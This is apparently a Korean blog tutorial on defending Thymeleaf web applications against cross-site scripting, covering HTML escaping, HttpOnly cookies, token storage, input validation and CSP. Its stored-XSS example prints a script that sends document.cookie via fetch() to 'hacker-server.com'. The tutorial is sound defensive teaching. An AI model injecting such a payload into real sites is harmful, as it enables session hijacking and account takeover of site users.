서론

내가 만든 어플리케이션은 언제든지 해커로부터 공격을 받을 수 있다. 이러한 공격의 패턴과 방식들에는 여러가지가 있지만 그 중 하나는 XSS 공격이다.

XSS 는 쉽게 말하면 해커가 자바스크립트 코드를 웹페이지에 심어 사용자의 정보를 탈취하는 종류의 공격이다. 일반적으로 웹 어플리케이션들은 사용자로부터 데이터를 입력받게 되는데 이 데이터에 해커가 자바스크립트 코드를 심어 놓을 수 있는 것이다.

쉽게 생각해 게시판에 글을 쓴다고 생각해보자. 글 내용에 해커가 자바스크립트 코드를 심어 놓고 사용자들이 이 글을 보면서 동시에 자바스크립트 코드가 실행되어 해커가 원하는 것을 얻을 수 있게 된다.

물론 이런 공격은 많이 알려져 있기 때문에 대부분에 이와 같은 입력은 사전에 필터링을 통해 차단한다. 그럼에도 불구하고 이와 같은 공격에는 여러가지 우회 방법이 존재할 수 있기 때문에 튼튼하게 방어해 놓지 않는다면 위험이 늘 존재하는 것이다.

Thymeleaf 에서의 XSS 테스트

Thymeleaf 에는 XSS 를 막아주는 필터링이 들어가있다.

<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
  <title>Getting Started: Serving Web Content</title>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
회원 리스트
<tr th:each="user : ${users}">
  <td th:text="${user.name}"></td>
</tr>

</body>
</html>

타임리프에서의 th:text 문법은 HTML 이스케이프 라는 과정을 자동으로 수행하기 때문에 XSS 공격을 방어할 수 있다. 사용자가 입력한 데이터에 포함될 수 있는 악의적인 스크립트 태그(<script> , <img 등)를 브라우저가 실행하지 못하도록 의미 없는 일반 텍스트로 변환해주는 것이다.

th:text 는 이런 위험을 막기 위해 HTML 에서 특별한 의미를 갖는 문자들을 다른 문자로 치환(Escape) 한다. 예를 들면

  • & 는 “&amp”; 로 변환됩니다.
  • ” 는 “&quot”; 로 변환됩니다.
  • ’ 는 ”&#39”; 로 변환됩니다.

따라서 공격자가 <script>alert('XSS');</script> 라는 값을 입력해도, th:text 를 사용하면 실제 렌더링된 HTML 소스는 다음과 같이 보인다.

&lt;script&gt;alert('XSS');&lt;/script&gt;

브라우저는 < 나 > 를 HTML 태그의 시작과 끝으로 해석하지 않고, 단순히 ’<’ 와 ’>’ 라는 문자 그대로 화면에 보여준다. 결과적으로 스크립트는 실행되지 않고, 사용자는 안전하게 데이터를 볼 수 있다.

반면에 th:text 가 아닌 th:utext 와 같은 문법의 경우는 앞서 배운 이스케이프 과정을 의도적으로 생략한다. 따라서 개발자가 신뢰할 수 잇는 데이터라고 확신 하는 경우에만 제한적으로 사용해야한다. 사용자의 입력을 th:utext 로 출력하는 것은 매우 위험하며 보안적으로 취약하다.


근데 해커는 어떻게 내 사이트에 스크립트를 삽입하는 걸까?

해커는 사용자가 데이터를 입력할 수 있는 모든곳을 공격 경로로 삼는다. 웹사이트에서는 로그인 페이지 , 글쓰기 페이지 등 여러 입력창을 제공하는데 , 바로 이 부분들이 해커의 목표가 된다.

그리고 이러한 문제는 웹사이트가 사용자의 입력을 아무런 의심이나 필터링 없이 그대로 저장할 때 비로소 문제가 된다.

공격 예시

  1. 해커는 당신의 웹사이트에 방문하여 댓글 창이 있다는 것을 확인한다.

  2. 해커는 다른 사용자의 쿠키(로그인 정보)를 훔쳐서 자신의 서버로 전송하는 간단한 스크립트를 작성한다.

<script>
  // 현재 사용자의 쿠키를 가져와서 해커의 서버로 전송
  fetch('http://hacker-server.com/steal?cookie=' + document.cookie);
</script>
<p>이 글 정말 유익하네요!</p> 
  1. 해커는 이 코드를 댓글 창에 입력하고 등록 버튼을 누른다.

  2. 당신의 웹 서버는 이 댓글이 악의적인 스크립트 라는 것을 인지하지 못하고 , 데이터베이스에 <script>.. 코드를 그대로 저장한다.


그렇다면 삽입된 코드는 어떻게 다른 사용자에게 사용되는가?

아까 저장된 이 악성 스크립트는 다른 선량한 사용자들을 공격한다.

다른 사용자가 악성 스크립트가 저장된 페이지를 요청하면, 서버는 스크립트를 정상적인 HTML의 일부인 것처럼 사용자에게 전송하고, 브라우저는 그대로 악성 스크립트가 삽입된 그 HTML 을 실행한다.

  1. 아무것도 모르는 일반 사용자가 당신의 웹사이트에 방문하여 해커가 악성 댓글을 단 게시물을 클릭한다.

  2. 사용자 A의 브라우저는 서버에게 이 게시물 페이지를 보여달라는 요청을 한다.

  3. 서버는 데이터베이스에서 게시물 내용과 댓글들을 가져와 HTML 페이지를 만든다. 이때 해커가 심어둔 <script.. 코드도 HTML 에 포함되는 것이다.

  4. 서버로부터 응답받은 HTML 페이지를 사용자 A의 브라우저가 렌더링 하고, HTML 태그들을 순서대로 읽다가 script.. 태그를 만나면 , 이것이 웹사이트의 정상적인 기능이라고 생각하고 아무 의심 없이 스크립트를 실행한다.

  5. 실행된 스크립트는 사용자 A의 브라우저에 저장된 쿠키 정보(로그인 세션 정보 등)을 몰래 가져와 해커의 서버로 전송한다.

  6. 해커는 훔친 쿠키 정보를 이용해 사용자 A의 계정으로 로그인하여 개인 정보를 빼돌리거나 악의적인 행동을 한다.


보안 공격을 막을 수 있는 방법들은 뭘까?

위와 같은 공격은, 쿠키에 HttpOnly 설정을 하면 막을 수 있다.

쿠키에 HttpOnly 설정을 하게 되면, JavaScript 코드로 쿠키에 대한 정보를 얻을 수 있는 방법이 아예 사라진다. 즉, document.cookie 를 사용해도 쿠키가 조회되지 않는 것이다. 이를 활용해 XSS 공격으로부터 막을 수 있다.

토큰을 LocalStorage 에 저장하면 XSS 에 취약해진다.

토큰을 LocalStorage 에 저장하게 되면, JavaScript 코드 (localStorage.getItem()) 로 토큰에 대한 정보를 쉽게 얻을 수 있게 된다. 쿠키와는 다르게 LocalStorage 에는 HttpOnly 와 같은 설정이 없어서, XSS 를 막을 방법이 없다. 이 때문에, 토큰을 LocalStorage 가 아닌 Cookie 에 저장할 것을 권장한다.

애초에 데이터가 저장될 때 비정상적인 데이터는 입력 값 검증을 통해 차단하는 것이 좋다

예를들어 , 이름 필드에 >< 와 같은 특수문자가 들어오지 못하도록 막는 것이다. 이는 XSS 뿐만 아니라 데이터 정합성을 지키는데도 중요하다.

보안 헤더 설정

백엔드는 API 응답시에 HTTP 헤더에 CSP(콘텐츠 보안 정책) 을 설정 할 수 있다. 이것은 브라우저에게 “이 사이트에서는 인라인 스크립트를 실행하지마!” 또는 “오직 trusted-scripts.com에서 온 스크립트만 실행해” 와 같이 매우 강력한 규칙을 전달하는 것이다. 프론트엔드에서 실수로 취약점이 발생해도, 브라우저 레벨에서 공격을 한번 더 막아준다.